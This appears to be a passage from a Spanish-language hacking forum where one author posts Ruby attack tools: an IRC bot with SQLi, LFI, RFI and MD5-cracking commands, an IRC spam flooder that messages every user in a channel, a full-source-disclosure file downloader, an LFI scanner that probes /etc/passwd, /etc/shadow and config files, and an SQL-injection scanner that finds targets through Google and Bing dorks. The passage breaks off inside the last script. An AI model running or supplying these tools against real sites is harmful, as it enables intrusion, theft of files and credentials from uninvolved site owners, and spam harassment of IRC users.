  656.    $irc.print "JOIN #{canal}\r\n"
  657.    print "\n[+] Online\n"
  658.    while 1
  659.      code = $irc.recv(9999)
  660.      if code=~/PING (.*)/
  661.        $irc.print "PONG #{$1}\n"
  662.      end
  663.      if code=~/:(.*)!(.*) PRIVMSG (.*) :(.*)/
  664.      dedonde = $1
  665.      mensaje = $4
  666.      if dedonde==admin
  667.  
  668. if mensaje=~/!sqli (.*)/
  669. arg1 = $1
  670. arg1 = arg1.chomp
  671. $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  672. respuesta(admin,scanner_sqli(arg1,"--"))
  673. $irc.print "PRIVMSG #{admin} [+] Finished\n"
  674.       end
  675.       if mensaje=~/!lfi (.*)/
  676. arg1 = $1
  677. arg1 = arg1.chomp
  678. $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  679. respuesta(admin,scanner_lfi(arg1))
  680. $irc.print "PRIVMSG #{admin} [+] Finished\n"
  681.       end
  682.       if mensaje=~/!panel(.*)/
  683. arg1 = $1
  684. arg1 = arg1.chomp
  685. $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  686. respuesta(admin,scanner_panel(arg1))
  687. $irc.print "PRIVMSG #{admin} [+] Finished\n"
  688.       end
  689.       if mensaje=~/!fuzzdns (.*)/
  690. arg1 = $1
  691. arg1 = arg1.chomp
  692. $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  693. respuesta(admin,scanner_dns(arg1))
  694. $irc.print "PRIVMSG #{admin} [+] Finished\n"
  695.       end
  696.       if mensaje=~/!locateip (.*)/
  697. arg1 = $1
  698. arg1 = arg1.chomp
  699. $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  700. respuesta(admin, locateip(arg1))
  701. $irc.print "PRIVMSG #{admin} [+] Finished\n"
  702.       end
  703.       if mensaje=~/!sqlifinder (.*) (.*) (.*)/
  704. arg1 = $1
  705. arg2 = $2
  706. arg3 = $3
  707. arg1 = arg1.chomp
  708. arg2 = arg2.chomp
  709. arg3 = arg3.chomp
  710. $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  711. respuesta(admin,sqli_finder(arg1,arg2,arg3))
  712. $irc.print "PRIVMSG #{admin} [+] Finished\n"
  713.       end
  714.       if mensaje=~/!rfifinder (.*) (.*) (.*)/
  715. arg1 = $1
  716. arg1 = $2
  717. arg1 = $3
  718. arg1 = arg1.chomp
  719. arg2 = arg2.chomp
  720. arg3 = arg3.chomp
  721. $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  722. respuesta(admin,rfi_finder(arg1,arg2,arg3))
  723. $irc.print "PRIVMSG #{admin} [+] Finished\n"
  724.       end
  725.       if mensaje=~/!crackit (.*)/
  726. arg1 = $1
  727. arg1 = arg1.chomp
  728. $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  729. respuesta(admin,crack_md5(arg1))
  730. $irc.print "PRIVMSG #{admin} [+] Finished\n"
  731.       end
  732.       if mensaje=~/!tinyurl (.*)/
  733. arg1 = $1
  734. arg1 = arg1.chomp
  735. $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  736. respuesta(admin,tiny_url(arg1))
  737. $irc.print "PRIVMSG #{admin} [+] Finished\n"
  738.       end
  739.       if mensaje=~/!httpfinger (.*)/
  740. arg1 = $1
  741. arg1 = arg1.chomp
  742. $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  743. respuesta(admin,get_httpfinger(arg1))
  744. $irc.print "PRIVMSG #{admin} [+] Finished\n"
  745.       end
  746.       if mensaje=~/!md5 (.*)/
  747. arg1 = $1
  748. arg1 = arg1.chomp
  749. $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  750. respuesta(admin,md5_encode(arg1))
  751. $irc.print "PRIVMSG #{admin} [+] Finished\n"
  752.       end
  753.       if mensaje=~/!base64 (.*) (.*)/
  754. arg1 = $1
  755. arg2 = $2
  756. arg1 = arg1.chomp
  757. arg2 = arg2.chomp
  758. if arg2=="encode"
  759.  $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  760.  respuesta(admin,codificar_base64(arg1))
  761.  $irc.print "PRIVMSG #{admin} [+] Finished\n"
  762.         end
  763. if arg2=="decode"
  764.  $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  765.  respuesta(admin,decodificar_base64(arg1))
  766.  $irc.print "PRIVMSG #{admin} [+] Finished\n"
  767.         end              
  768.       end
  769.  
  770.       if mensaje=~/!hex (.*) (.*)/
  771. arg1 = $1
  772. arg2 = $2
  773. arg1 = arg1.chomp
  774. arg2 = arg2.chomp
  775. if arg2=="encode"
  776.  $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  777.  respuesta(admin,codificar_hex(arg1))
  778.  $irc.print "PRIVMSG #{admin} [+] Finished\n"
  779.         end
  780. if arg2=="decode"
  781.  $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  782.  respuesta(admin,decodificar_hex(arg1))
  783.  $irc.print "PRIVMSG #{admin} [+] Finished\n"
  784.         end              
  785.       end
  786.  
  787.  
  788.       if mensaje=~/!ascii (.*)/
  789. arg1 = $1
  790. arg1 = arg1.chomp
  791. $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  792. respuesta(admin,codificar_ascii(arg1))
  793. $irc.print "PRIVMSG #{admin} [+] Finished\n"
  794.       end
  795.       if mensaje=~/!help/
  796. about = ""
  797.        about = about + "Hi , I am ClapTrap an assistant robot programmed by Doddy Hackman in the year 2014" + "\n";
  798.                about = about + "[++] Commands" + "\n";
  799.                about = about + "[+] !help" + "\n";
  800. about = about + "[+] !locateip <web>" + "\n";
  801.                about = about + "[+] !sqlifinder <dork> <count pages> <google/bing>" + "\n";
  802.                about = about + "[+] !rfifinder <dork> <count pages> <google/bing>" + "\n";
  803.                about = about + "[+] !panel <page>" + "\n";
  804.                about = about + "[+] !fuzzdns <domain>" + "\n";
  805.                about = about + "[+] !sqli <page>" + "\n";
  806. about = about + "[+] !lfi <page>" + "\n";
  807. about = about + "[+] !crackit <hash>" + "\n";
  808.                about = about + "[+] !tinyurl <page>" + "\n";
  809.                about = about + "[+] !httpfinger <page>" + "\n";
  810.        about = about + "[+] !md5 <text>" + "\n";
  811.                about = about + "[+] !base64 <encode/decode> <text>" + "\n";
  812.                about = about + "[+] !ascii <encode/decode> <text>" + "\n";
  813.                about = about + "[+] !hex <encode/decode> <text>" + "\n";
  814.                about = about + "[++] Enjoy this IRC Bot" + "\n";
  815. respuesta(admin,about)
  816.       end
  817.      end
  818.      end
  819.    end
  820.  end
  821. end
  822.  
  823. head()
  824.  
  825. print "[+] Host : "
  826. host = gets.chomp
  827. print "\n[+] Port : "
  828. port = gets.chomp
  829. print "\n[+] Channel : "
  830. channel = gets.chomp
  831. print "\n[+] Admin : "
  832. admin = gets.chomp
  833.  
  834. bot_online(host,port,channel,admin)
  835.  
  836. copyright()
  837.  
  838. # The End ?
  839.  

Eso es todo.
45  Programación / Scripting / [Ruby] KingSpam 0.4 en: 18 Septiembre 2015, 16:49 pm
Un simple script en Ruby para hacer spam en un canal IRC.

El codigo :

Código
  1. #!usr/bin/ruby
  2. #KingSpam 0.4
  3. #Coded By Doddy H
  4.  
  5. require "socket"
  6.  
  7. $nicks = ["ruben","negro jose","rasputin","juancho"]
  8.  
  9. def head()
  10.  print "\n\n == -- KingSpam 0.4 -- ==\n\n"
  11. end
  12.  
  13. def uso()
  14.  print "\n[+] Sintax : #{$0} <host> <channel> <spam list>\n"
  15. end
  16.  
  17. def copyright()
  18.  print "\n\n(C) Doddy Hackman 2012\n\n"
  19. end
  20.  
  21. def read_file(file)
  22.  array = []
  23.  File.open(file, "r") do |lineas|
  24.    while (linea = lineas.gets)
  25.      array.push(linea)
  26.    end
  27.  end
  28.  return array
  29. end
  30.  
  31. def load(host,canal,spam_list)
  32.  print "\n[+] Connecting ...\n"
  33.  begin
  34.    irc = TCPSocket.open(host,"6667")
  35.  rescue
  36.    print "\n[-] Error\n"
  37.  else
  38.    lineas = read_file(spam_list)
  39.    nick_azar = $nicks[rand($nicks.size)]
  40.    irc.print "NICK "+nick_azar+"\r\n"
  41.    irc.print "USER "+nick_azar+" 1 1 1 1\r\n"
  42.    irc.print "JOIN #{canal}\r\n"
  43.    print "\n[+] Online\n"
  44.    while 1
  45.      code = irc.recv(9999)
  46.      #print code+"\n"
  47.      if code=~/PING (.*)/
  48.        irc.print "PONG #{$1}\n"
  49.      end
  50.      if code=~/:(.*) 353 (.*) = (.*) :(.*)/
  51.      nicks_found = $4
  52.      nicks = nicks_found.split(" ")
  53.      end
  54.  
  55.      print "\n[+] The party started\n\n"
  56.      while 1
  57.        sleep(20) # 1 minute
  58.        texto = lineas[rand(lineas.size)]
  59. print "[+] Spamming channel #{canal}\n"
  60. irc.print "PRIVMSG #{canal} #{texto}\n"
  61.  
  62. nicks.flatten.each do |nick|
  63.  if nick!=nick_azar
  64.    nick = nick.sub("+","")
  65.    nick = nick.sub("@","")
  66.    print "[+] Spam User : "+nick+"\n"
  67.    irc.print "PRIVMSG #{nick} #{texto}\n"
  68.  end
  69. end
  70.      end
  71.    end
  72.  end
  73. end
  74.  
  75. head()
  76.  
  77. host = ARGV[0]
  78. canal = ARGV[1]
  79. spam_list = ARGV[2]
  80.  
  81. if !host and !canal and !spam_list
  82.  uso()
  83. else
  84.  load(host,canal,spam_list)
  85. end
  86.  
  87. copyright()
  88.  
  89. # The End ?
  90.  

Eso es todo.
46  Programación / Scripting / [Ruby] FSD Exploit Manager 0.3 en: 4 Septiembre 2015, 23:01 pm
Un simple script en Ruby que sirve como exploit para la vulnerabilidad Full Source Discloure.

El codigo :

Código
  1. #!usr/bin/ruby
  2. #FSD Exploit Manager 0.3
  3.  
  4. require "open-uri"
  5. require "net/http"  
  6.  
  7. # Functions
  8.  
  9. def toma(web)
  10. begin
  11. return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
  12. rescue
  13. return "Error"
  14. end
  15. end
  16.  
  17. def uso
  18. print "\n[+] Sintax : ruby locateip.rb <target>\n"
  19. end
  20.  
  21. def  head
  22. print "\n\n-- == FSD Exploit Manager 0.3 == --\n\n"
  23. end
  24.  
  25. def copyright
  26. print "\n\n-- == (C) Doddy Hackman 2015 == --\n\n"
  27. exit(1)
  28. end
  29.  
  30. def installer
  31. if not Dir.exists?("logs")
  32. Dir.mkdir "logs"
  33. end
  34. Dir.chdir("logs")
  35. end
  36.  
  37. def download(file,name)
  38. File.open(name, "wb") do |saved_file|
  39. open(file, "rb") do |read_file|
  40. saved_file.write(read_file.read)
  41. end
  42. end
  43. end
  44.  
  45. def scan_fsd(target)
  46. print "\n[+] Scanning ...\n\n"
  47. path = File.basename(URI(target).path)
  48. code = toma(target+path)
  49. if code=~/header\((.*)Content-Disposition: attachment;/
  50. print "[+] Vulnerable !\n"
  51. while(1)
  52. print "\n[+] Insert Filename : "
  53. filename = STDIN.gets.chomp
  54. if filename=="exit"
  55. copyright()
  56. else
  57. download(target+filename,filename)
  58. print "\n[+] Downloaded !\n"
  59. end
  60. end
  61.  
  62. else
  63. print "[-] Not vulnerable\n"
  64. end
  65. end
  66.  
  67. target = ARGV[0]
  68.  
  69. installer()
  70.  
  71. head()
  72.  
  73. if !target
  74. uso()
  75. else
  76. scan_fsd(target)
  77. end
  78.  
  79. copyright()
  80.  
  81. #The End ?
  82.  

Eso es todo.
47  Programación / Scripting / [Ruby] LFI Scanner 0.3 en: 21 Agosto 2015, 23:37 pm
Un simple script en Ruby para scannear la vulnerabilidad LFI en una pagina.

Version consola :

Código
  1. #!usr/bin/ruby
  2. #LFI Scanner 0.3
  3. #(C) Doddy Hackman 2015
  4.  
  5. require "open-uri"
  6. require "net/http"  
  7.  
  8. # Functions
  9.  
  10. def toma(web)
  11. begin
  12. return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
  13. rescue
  14. return "Error"
  15. end
  16. end
  17.  
  18. def uso
  19. print "\n[+] Sintax : ruby lfi.rb <page>\n"
  20. end
  21.  
  22. def  head
  23. print "\n\n-- == LFI Scanner 0.3 == --\n\n"
  24. end
  25.  
  26. def copyright
  27. print "\n\n-- == (C) Doddy Hackman 2015 == --\n\n"
  28. exit(1)
  29. end
  30.  
  31. def scan(web)
  32. files = ['c:/xampp/here.php','../../../boot.ini','../../../../boot.ini','../../../../../boot.ini','../../../../../../boot.ini','/etc/passwd','/etc/shadow','/etc/shadow~','/etc/hosts','/etc/motd','/etc/apache/apache.conf','/etc/fstab','/etc/apache2/apache2.conf','/etc/apache/httpd.conf','/etc/httpd/conf/httpd.conf','/etc/apache2/httpd.conf','/etc/apache2/sites-available/default','/etc/mysql/my.cnf','/etc/my.cnf','/etc/sysconfig/network-scripts/ifcfg-eth0','/etc/redhat-release','/etc/httpd/conf.d/php.conf','/etc/pam.d/proftpd','/etc/phpmyadmin/config.inc.php','/var/www/config.php','/etc/httpd/logs/error_log','/etc/httpd/logs/error.log','/etc/httpd/logs/access_log','/etc/httpd/logs/access.log','/var/log/apache/error_log','/var/log/apache/error.log','/var/log/apache/access_log','/var/log/apache/access.log','/var/log/apache2/error_log','/var/log/apache2/error.log','/var/log/apache2/access_log','/var/log/apache2/access.log','/var/www/logs/error_log','/var/www/logs/error.log','/var/www/logs/access_log','/var/www/logs/access.log','/usr/local/apache/logs/error_log','/usr/local/apache/logs/error.log','/usr/local/apache/logs/access_log','/usr/local/apache/logs/access.log','/var/log/error_log','/var/log/error.log','/var/log/access_log','/var/log/access.log','/etc/group','/etc/security/group','/etc/security/passwd','/etc/security/user','/etc/security/environ','/etc/security/limits','/usr/lib/security/mkuser.default','/apache/logs/access.log','/apache/logs/error.log','/etc/httpd/logs/acces_log','/etc/httpd/logs/acces.log','/var/log/httpd/access_log','/var/log/httpd/error_log','/apache2/logs/error.log','/apache2/logs/access.log','/logs/error.log','/logs/access.log','/usr/local/apache2/logs/access_log','/usr/local/apache2/logs/access.log','/usr/local/apache2/logs/error_log','/usr/local/apache2/logs/error.log','/var/log/httpd/access.log','/var/log/httpd/error.log','/opt/lampp/logs/access_log','/opt/lampp/logs/error_log','/opt/xampp/logs/access_log','/opt/xampp/logs/error_log','/opt/lampp/logs/access.log','/opt/lampp/logs/error.log','/opt/xampp/logs/access.log','/opt/xampp/logs/error.log','C:\ProgramFiles\ApacheGroup\Apache\logs\access.log','C:\ProgramFiles\ApacheGroup\Apache\logs\error.log','/usr/local/apache/conf/httpd.conf','/usr/local/apache2/conf/httpd.conf','/etc/apache/conf/httpd.conf','/usr/local/etc/apache/conf/httpd.conf','/usr/local/apache/httpd.conf','/usr/local/apache2/httpd.conf','/usr/local/httpd/conf/httpd.conf','/usr/local/etc/apache2/conf/httpd.conf','/usr/local/etc/httpd/conf/httpd.conf','/usr/apache2/conf/httpd.conf','/usr/apache/conf/httpd.conf','/usr/local/apps/apache2/conf/httpd.conf','/usr/local/apps/apache/conf/httpd.conf','/etc/apache2/conf/httpd.conf','/etc/http/conf/httpd.conf','/etc/httpd/httpd.conf','/etc/http/httpd.conf','/etc/httpd.conf','/opt/apache/conf/httpd.conf','/opt/apache2/conf/httpd.conf','/var/www/conf/httpd.conf','/private/etc/httpd/httpd.conf','/private/etc/httpd/httpd.conf.default','/Volumes/webBackup/opt/apache2/conf/httpd.conf','/Volumes/webBackup/private/etc/httpd/httpd.conf','/Volumes/webBackup/private/etc']
  33. print "\n[+] Testing the vulnerability LFI...\n\n"
  34. code = toma(web+"'")
  35. if code=~/No such file or directory in <b>(.*)<\/b> on line/
  36. fpd = $1
  37. print "[+] LFI Detected\n\n"
  38. print "[Full Path Discloure]: "+fpd+"\n"
  39. print "\n[+] Fuzzing Files\n\n"
  40. files.each do |file|
  41. code = toma(web+file)
  42. if not code=~/No such file or directory in/
  43. print "[Link] : "+web+file+"\n"
  44. end
  45. end
  46. print "\n[+] Finish\n"
  47. copyright()
  48. else
  49. print "[-] Not Vulnerable to LFI\n\n"
  50. end
  51. end
  52.  
  53. #
  54.  
  55. page = ARGV[0]
  56.  
  57. head()
  58.  
  59. if !page
  60. uso()
  61. else
  62. scan(page)
  63. end
  64.  
  65. copyright()
  66.  
  67. #The End ?
  68.  

Version Tk :

Código
  1. #!usr/bin/ruby
  2. #LFI Scanner 0.3
  3. #(C) Doddy Hackman 2015
  4.  
  5. require "tk"
  6. require "net/http"
  7. require "open-uri"
  8.  
  9. # Functions
  10.  
  11. def toma(web)
  12. begin
  13. return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
  14. rescue
  15. return "Error"
  16. end
  17. end
  18.  
  19. #
  20.  
  21. window = TkRoot.new { title "LFI Scanner 0.3 (C) Doddy Hackman 2015" ; background "black" }
  22. window['geometry'] = '300x300-20+10'
  23.  
  24. TkLabel.new(window) do
  25. background "black"
  26. foreground "cyan"
  27. text "    Target : "
  28. place('relx'=>"0.1",'rely'=>"0.1")
  29. end
  30.  
  31. web= TkEntry.new(window){
  32. background "black"
  33. foreground "cyan"
  34. width 25
  35. place('relx'=>0.3,'rely'=>0.1)
  36. }
  37.  
  38. TkLabel.new(window) do
  39. background "black"
  40. foreground "cyan"
  41. text "Console"
  42. place('relx'=>0.4,'rely'=>0.2)
  43. end
  44.  
  45. console =TkText.new(window) do
  46. background "black"
  47. foreground "cyan"
  48. width 30
  49. height 10
  50. place('relx'=>0.1,'rely'=>0.3)
  51. end
  52.  
  53. TkButton.new(window) do
  54. text "Search"
  55.    background "black"
  56. foreground "cyan"
  57. width 17
  58. activebackground "cyan"
  59. highlightbackground  "cyan"
  60. command proc{
  61. web = web.value.to_s
  62. files = ['c:/xampp/here.php','../../../boot.ini','../../../../boot.ini','../../../../../boot.ini','../../../../../../boot.ini','/etc/passwd','/etc/shadow','/etc/shadow~','/etc/hosts','/etc/motd','/etc/apache/apache.conf','/etc/fstab','/etc/apache2/apache2.conf','/etc/apache/httpd.conf','/etc/httpd/conf/httpd.conf','/etc/apache2/httpd.conf','/etc/apache2/sites-available/default','/etc/mysql/my.cnf','/etc/my.cnf','/etc/sysconfig/network-scripts/ifcfg-eth0','/etc/redhat-release','/etc/httpd/conf.d/php.conf','/etc/pam.d/proftpd','/etc/phpmyadmin/config.inc.php','/var/www/config.php','/etc/httpd/logs/error_log','/etc/httpd/logs/error.log','/etc/httpd/logs/access_log','/etc/httpd/logs/access.log','/var/log/apache/error_log','/var/log/apache/error.log','/var/log/apache/access_log','/var/log/apache/access.log','/var/log/apache2/error_log','/var/log/apache2/error.log','/var/log/apache2/access_log','/var/log/apache2/access.log','/var/www/logs/error_log','/var/www/logs/error.log','/var/www/logs/access_log','/var/www/logs/access.log','/usr/local/apache/logs/error_log','/usr/local/apache/logs/error.log','/usr/local/apache/logs/access_log','/usr/local/apache/logs/access.log','/var/log/error_log','/var/log/error.log','/var/log/access_log','/var/log/access.log','/etc/group','/etc/security/group','/etc/security/passwd','/etc/security/user','/etc/security/environ','/etc/security/limits','/usr/lib/security/mkuser.default','/apache/logs/access.log','/apache/logs/error.log','/etc/httpd/logs/acces_log','/etc/httpd/logs/acces.log','/var/log/httpd/access_log','/var/log/httpd/error_log','/apache2/logs/error.log','/apache2/logs/access.log','/logs/error.log','/logs/access.log','/usr/local/apache2/logs/access_log','/usr/local/apache2/logs/access.log','/usr/local/apache2/logs/error_log','/usr/local/apache2/logs/error.log','/var/log/httpd/access.log','/var/log/httpd/error.log','/opt/lampp/logs/access_log','/opt/lampp/logs/error_log','/opt/xampp/logs/access_log','/opt/xampp/logs/error_log','/opt/lampp/logs/access.log','/opt/lampp/logs/error.log','/opt/xampp/logs/access.log','/opt/xampp/logs/error.log','C:\ProgramFiles\ApacheGroup\Apache\logs\access.log','C:\ProgramFiles\ApacheGroup\Apache\logs\error.log','/usr/local/apache/conf/httpd.conf','/usr/local/apache2/conf/httpd.conf','/etc/apache/conf/httpd.conf','/usr/local/etc/apache/conf/httpd.conf','/usr/local/apache/httpd.conf','/usr/local/apache2/httpd.conf','/usr/local/httpd/conf/httpd.conf','/usr/local/etc/apache2/conf/httpd.conf','/usr/local/etc/httpd/conf/httpd.conf','/usr/apache2/conf/httpd.conf','/usr/apache/conf/httpd.conf','/usr/local/apps/apache2/conf/httpd.conf','/usr/local/apps/apache/conf/httpd.conf','/etc/apache2/conf/httpd.conf','/etc/http/conf/httpd.conf','/etc/httpd/httpd.conf','/etc/http/httpd.conf','/etc/httpd.conf','/opt/apache/conf/httpd.conf','/opt/apache2/conf/httpd.conf','/var/www/conf/httpd.conf','/private/etc/httpd/httpd.conf','/private/etc/httpd/httpd.conf.default','/Volumes/webBackup/opt/apache2/conf/httpd.conf','/Volumes/webBackup/private/etc/httpd/httpd.conf','/Volumes/webBackup/private/etc']
  63. console.insert("end", "[+] Testing the vulnerability LFI...\n\n")
  64. code = toma(web+"'")
  65. if code=~/No such file or directory in <b>(.*)<\/b> on line/
  66. fpd = $1
  67. console.insert("end","[+] LFI Detected\n\n")
  68. console.insert("end","[Full Path Discloure]: "+fpd+"\n")
  69. console.insert("end","\n[+] Fuzzing Files\n\n")
  70. files.each do |file|
  71. code = toma(web+file)
  72. if not code=~/No such file or directory in/
  73. console.insert("end","[Link] : "+web+file+"\n")
  74. end
  75. end
  76. console.insert("end","\n[+] Finish")
  77. else
  78. console.insert("end","[-] Not Vulnerable to LFI")
  79. end
  80. }
  81. place('relx'=>0.3,'rely'=>0.9)
  82. end
  83.  
  84. Tk.mainloop
  85.  
  86. #The End ?
  87.  

Una imagen :



Eso es todo.
48  Programación / Scripting / [Ruby] SQLI Scanner 0.4 en: 7 Agosto 2015, 22:25 pm
Un simple script en Ruby para buscar paginas vulnerables a SQLI usando Google o Bing.

Version consola :

Código
  1. #!usr/bin/ruby
  2. #SQLI Scanner 0.4
  3. #(C) Doddy Hackman 2015
  4.  
  5. require "open-uri"
  6. require "net/http"
  7. require "openssl"
  8.  
  9. # Functions
  10.  
  11. def toma(web)
  12. begin
  13. return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
  14. rescue
  15. return "Error"
  16. end
  17. end
  18.  
  19.  
  20. def toma_ssl(web)
  21. uri = URI.parse(web)
  22. nave = Net::HTTP.new(uri.host, uri.port)
  23. nave.use_ssl = true
  24. nave.verify_mode = OpenSSL::SSL::VERIFY_NONE
  25. return nave.get(uri.request_uri,{"User-Agent"=> "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/20.0"}).body
  26. end
  27.  
  28.  
  29. def tomar(web,arg)
  30. begin
  31. headers = {"User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"}
  32. uri = URI(web)
  33. http = Net::HTTP.new(uri.host, uri.port)
  34. return http.post(uri.path,arg, headers).body
  35. rescue
  36. return "Error"
  37. end
  38. end
  39.  
  40. def cortar(pages)
  41. final = ""
  42. finales = []
  43. pages.flatten.each do |page|
  44. if page=~/(.*)=(.*)/
  45. parte1 = $1
  46. parte2 = $2
  47. final = parte1 + "="
  48. finales.push(final)
  49. end
  50. end
  51. return finales
  52. end
  53.  
  54.  
  55. def google(dork,pages)
  56.  
  57. links = []
  58. dork = dork.sub(/ /,"+")
  59. contador = 0
  60. for i in ("1"..pages)
  61. contador+=10
  62. code = toma_ssl("https://www.google.com.ar/search?hl=&q=" + dork+ "&start="+contador.to_s)
  63. paginas = code.scan(/(?<="r"><. href=")(.+?)"/)
  64. paginas.flatten.each do |pagina|
  65. partes = pagina
  66. if partes=~/url\?q=(.*)&amp;sa/
  67. parte = $1
  68. link = URI::decode(parte)
  69. links.push(link)
  70. end
  71. end
  72. end
  73. links = links.uniq
  74. return links
  75. end
  76.  
  77. def google_recursive(dork,pages)
  78. dork = dork.sub(/ /,"+")
  79. contador = 0
  80. guardo = []
  81. for i in ("1"..pages)
  82. contador+=10
  83. url = "https://www.google.com.ar/search?hl=&q="+dork+"&start="+contador.to_s
  84. code = toma_ssl(url)
  85. links = URI::extract(code)
  86. links.each do |link|
  87. if link=~/cache:(.*?):(.*?)\+/
  88. link_final = "http://"+$2
  89. link_final = URI::decode(link_final)
  90. guardo.push(link_final)
  91. end
  92. end
  93. end
  94. guardo = guardo.uniq
  95. return guardo
  96. end
  97.  
  98. def bing(dork,pages)
  99.  
  100. guardo = []
  101. dork = dork.sub(/ /,"+")
  102. contador = 0
  103. for i in ("1"..pages)
  104. contador+=10
  105.  
  106. code = toma("http://www.bing.com/search?q=" + dork + "&first=" + contador.to_s)
  107.  
  108. links = code.scan(/<h2><a href="(.*?)" h/)
  109.  
  110. links.flatten.each do |link|
  111. link_final = URI::decode(link)
  112. if not link_final=~/http:\/\/778802\.r\.msn\.com\//
  113. guardo.push(link_final)
  114. end
  115. end
  116.  
  117. links = code.scan(/<h3><a href="(.*?)" h/)
  118.  
  119. links.flatten.each do |link|
  120. link_final = URI::decode(link)
  121. if not link_final=~/http:\/\/778802\.r\.msn\.com\//
  122. guardo.push(link_final)
  123. end
  124. end
  125. end
  126. guardo = guardo.uniq
  127. return guardo
  128. end
  129.  
  130. def uso
  131. print "\n[+] Sintax : ruby scanner.rb <options> <dork> <pages>\n\n"
  132. print "-search_bing : Find in Bing\n"
  133. print "-search_google : Find in Google\n"
  134. print "-scan_bing : Find SQLI in Bing\n"
  135. print "-scan_google : Find SQLI in Google\n"
  136. print "\n[+] Example of use : ruby scanner.rb -scan_bing news.php+id 3\n"
  137. end
  138.  
  139. def  head
  140. print "\n\n-- == SQLI Scanner 0.4 == --\n\n"
  141. end
  142.  
  143. def copyright
  144. print "\n\n-- == (C) Doddy Hackman 2015 == --\n\n"
  145. end
  146.  
  147. opcion = ARGV[0]
  148. dork = ARGV[1]
  149. pages  = ARGV[2]
  150.  
  151. head()
  152.  
  153. if !opcion or !dork or !pages
  154. uso()
  155. else
  156.  
  157. if opcion=="-search_bing"
  158.  
  159. print "\n[+] Searching in Bing ...\n\n"
  160.  
  161. links = bing(dork,pages)
  162.  
  163. print "[+] Pages Count : "+links.count.to_s+"\n\n"
  164.  
  165. if links.count.to_s=="0"
  166. print "[-] Links not found\n"
  167. end
  168.  
  169. links.flatten.each do |link|
  170. print "[+] Link : "+link+"\n"
  171. end
  172.  
  173. print "\n[+] Finished\n"
  174.  
  175. elsif opcion=="-search_google"
  176.  
  177. print "\n[+] Searching in Google ...\n\n"
  178.  
  179. links = google(dork,pages)
  180.  
  181. if links.count.to_s=="0"
  182. print "[+] Searching in Google again ...\n\n"
  183. links = google_recursive(dork,pages)
  184. end
  185.  
  186. print "[+] Pages Count : "+links.count.to_s
  187.  
  188. if links.count.to_s=="0"
  189. print "[-] Links not found"
  190. end
  191.  
  192. links.flatten.each do |link|
  193. print "[+] Link : "+link+"\n"
  194. end
  195.  
  196. print "\n[+] Finished\n"
  197.  
  198. elsif opcion=="-scan_bing"
  199.  
  200. print "\n[+] Searching in Bing ...\n\n"
  201.  
  202. links = cortar(bing(dork,pages))
  203.  
  204. print "[+] Pages Count : "+links.count.to_s+"\n\n"
  205.  
  206. if links.count.to_s=="0"
  207. print "[-] Links not found\n"
  208. end
  209.  
  210. links.flatten.each do |link|
  211. print "[+] Link : "+link
  212. begin
  213. url = toma(link + "-1+union+select+1--")
  214. if url=~/The used SELECT statements have a different number of columns/
  215. print " [OK]\n\a\a"
  216. else
  217. print " [FAIL]\n"
  218. end
  219. rescue
  220. print " [FAIL]\n"
  221. end
  222. end
  223.  
  224. print "\n[+] Finished\n"
  225.  
  226. elsif opcion=="-scan_google"
  227.  
  228. print "\n[+] Searching in Google ...\n\n"
  229.  
  230. links = cortar(google(dork,pages))
  231.  
  232. if links.count.to_s=="0"
  233. print "[+] Searching in Google again ...\n\n"
  234. links = cortar(google_recursive(dork,pages))
  235. end
  236.  
  237. print "[+] Pages Count : "+links.count.to_s+"\n\n"
  238.  
  239. if links.count.to_s=="0"
  240. print "[-] Links not found"
  241. end
  242.  
  243. links.flatten.each do |link|
  244. print "[+] Link : "+link
  245. begin
  246. url = toma(link + "-1+union+select+1--")
  247. if url=~/The used SELECT statements have a different number of columns/
  248. print " [OK]\n\a\a"
  249. else
  250. print " [FAIL]\n"
  251. end
  252. rescue
  253. print " [FAIL]\n"
  254. end
  255. end
  256.  
  257. print "\n[+] Finished\n"
  258. else
  259. print "[-] Bad Option"
  260. end
  261. end
  262.  
  263. copyright()
  264.  
  265.  
  266. #The End ?
  267.  

Version Tk para Google :

Código
  1. #!usr/bin/ruby
  2. #SQLI Scanner 0.4
  3. #(C) Doddy Hackman 2015
  4. #Scan Google Tk
  5.  
  6. require "tk"
  7. require "open-uri"
  8. require "net/http"
  9. require "openssl"
  10.  
  11. # Functions
  12.  
  13. def toma(web)
  14. begin
  15. return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
  16. rescue
  17. return "Error"
  18. end
  19. end
  20.  
  21.  
  22. def toma_ssl(web)
  23. uri = URI.parse(web)
  24. nave = Net::HTTP.new(uri.host, uri.port)
  25. nave.use_ssl = true
  26. nave.verify_mode = OpenSSL::SSL::VERIFY_NONE
  27. return nave.get(uri.request_uri,{"User-Agent"=> "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/20.0"}).body
  28. end
  29.  
  30.  
  31. def tomar(web,arg)
  32. begin
  33. headers = {"User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"}
  34. uri = URI(web)
